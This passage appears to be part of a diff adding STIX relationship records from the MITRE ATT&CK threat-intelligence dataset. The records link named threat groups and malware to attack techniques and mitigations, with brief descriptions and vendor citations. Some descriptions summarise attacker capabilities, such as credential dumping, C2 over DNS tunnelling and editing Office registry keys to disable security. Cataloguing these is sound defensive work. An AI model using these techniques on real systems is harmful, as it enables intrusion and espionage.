"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can deactivate security mechanisms in Microsoft Office by editing several keys and values under HKCU\\Software\\Microsoft\\Office\\.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9f00ebba-7e80-4495-8ba0-081e6a8cc0c8", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.800Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) is capable of using Windows hook interfaces for information gathering such as credential access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4ebc7501-9471-4f37-92e1-8711073bd062", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "modified": "2019-05-10T12:14:32.234Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) uses the netstat command to find open ports on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--27a36f9c-2292-4bf0-8c08-9ccfc1effffe", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.323Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9952a93f-d009-48e5-a618-8e8f97a55685", + "source_ref": "course-of-action--ace4daee-f914-4707-be75-843f16da2edf", + "modified": "2019-07-24T14:37:14.663Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain information about network configuration, including the routing table, ARP cache, and DNS cache.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bd5b4264-1f10-4cd5-b7b0-a6a8b9dad7c3", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) downloads and uploads files to and from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e4c5ab65-e084-4844-9bf8-546d78f20e96", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.785Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) may collect information about running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--64cb753d-eb72-4dce-a417-7df747334347", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.022Z", + "id": "relationship--371d43af-ef68-4471-9db9-f2d40d2baefc", + "source_ref": "course-of-action--d256cb63-b021-4b4a-bb6d-1b42eea179a3", + "modified": "2019-10-23T14:20:49.810Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Naid](https://attack.mitre.org/software/S0205) collects the domain name from a compromised host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--43c0d71b-d82e-45f0-89ce-acb94810c1c3", + "source_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.", + "source_name": "Symantec Naid June 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can enumerate drives and Remote Desktop sessions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ed45fb1c-048a-4378-8c15-6f6ea0c72d7a", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) uses a backup communication method with an HTTP beacon.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bd74b90d-ff9f-4ce3-96af-9b809fffc3da", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2019-08-16T18:52:50.632Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the operating system build number and CPU Architecture (32-bit/64-bit) during installation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--487d67d7-b697-4de4-abde-decee8b17c44", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[FakeM](https://attack.mitre.org/software/S0076) contains a keylogger module.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bfd49393-75b6-4e67-af74-4bf3c87624b0", + "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[POORAIM](https://attack.mitre.org/software/S0216) can identify system information, including battery status.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f14c6ecd-4997-44aa-9d29-232195fd4a82", + "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses a custom DNS tunneling protocol for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--58487b4a-9741-45b1-accc-171eb124330d", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.453Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[WinMM](https://attack.mitre.org/software/S0059) sets a WH_CBT Windows hook to collect information on process creation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--13204383-a747-4f7f-a75c-858ddc76beab", + "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de", + "modified": "2019-05-03T16:45:45.292Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "description": "[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--89433640-bf49-48b3-9f26-76423cd36f77", + "source_ref": "malware--4b62ab58-c23b-4704-9c15-edd568cd59f8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lin, P. (2015, July 13). Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems. Retrieved December 11, 2015.", + "source_name": "TrendMicro Hacking Team UEFI", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[SynAck](https://attack.mitre.org/software/S0242) checks its directory location in an attempt to avoid launching in a sandbox.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0dba319b-0d1e-4c73-8153-9ce13d27c98c", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "modified": "2019-07-26T23:00:57.632Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Kaspersky Lab SynAck May 2018", + "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", + "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) can establish persistence by adding a Scheduled Task named \"Microsoft Boost Kernel Optimization\".", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d2560c35-b2f6-47d2-b573-236ef99894d5", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + }, + { + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "source_name": "CopyKittens Nov 2015", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "A [gh0st RAT](https://attack.mitre.org/software/S0032) variant has used rundll32 for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5a771636-9b4d-423c-b7ba-1f274cbfb5b7", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "modified": "2019-04-16T20:26:40.979Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Arbor Musical Chairs Feb 2018", + "description": "Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "If an initial connectivity check fails, [pngdowner](https://attack.mitre.org/software/S0067) attempts to extract proxy details and credentials from Windows Protected Storage and from the IE Credentials Store. This allows the adversary to use the proxy credentials for subsequent requests if they enable outbound HTTP access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a6e4853a-78a6-4c88-a7c5-58793d3e4dcd", + "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has been known to dump credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.032Z", + "id": "relationship--1c7b9a1b-e874-4881-884a-e3c3d1fd8aed", + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "modified": "2019-03-22T20:00:23.879Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) C2 traffic can communicate via TCP raw sockets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1984ba26-2309-49db-8c42-75951d0ef678", + "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families collect information on the type and version of the victim OS, as well as the victim computer name and CPU information. A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) also collects disk space information and sends it to its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.066Z", + "id": "relationship--4eec017c-8bf2-4eda-8c92-15926fc7e5aa", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.653Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + }, + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "source_name": "McAfee GhostSecret", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.063Z", + "id": "relationship--3b6fc69c-9759-465a-b09c-a6161e4e2f56", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.620Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can deliver \"beacon\" payloads for lateral movement by leveraging remote COM execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2b469307-a635-4392-a18f-ed1f24b3a684", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.538Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cobalt Strike DCOM Jan 2017", + "description": "Mudge, R. (2017, January 24). Scripting Matt Nelson\u2019s MMC20.Application Lateral Movement Technique. Retrieved November 21, 2017.", + "url": "https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[Taidoor](https://attack.mitre.org/software/S0011) is known to utilize encryption within network protocols.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--cf859589-38ac-4152-b206-08740ccf503b", + "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.", + "source_name": "TrendMicro Taidoor", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "description": "[Proton](https://attack.mitre.org/software/S0279) uses VNC to connect into systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--440c7f08-e570-4536-8f9c-849952581de1", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "modified": "2019-06-24T19:03:52.767Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can use Obfs3, a pluggable transport, to add another layer of encryption and obfuscate TLS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0179577d-b2a2-42b7-9f5e-944e5bf75d92", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:48.037Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub 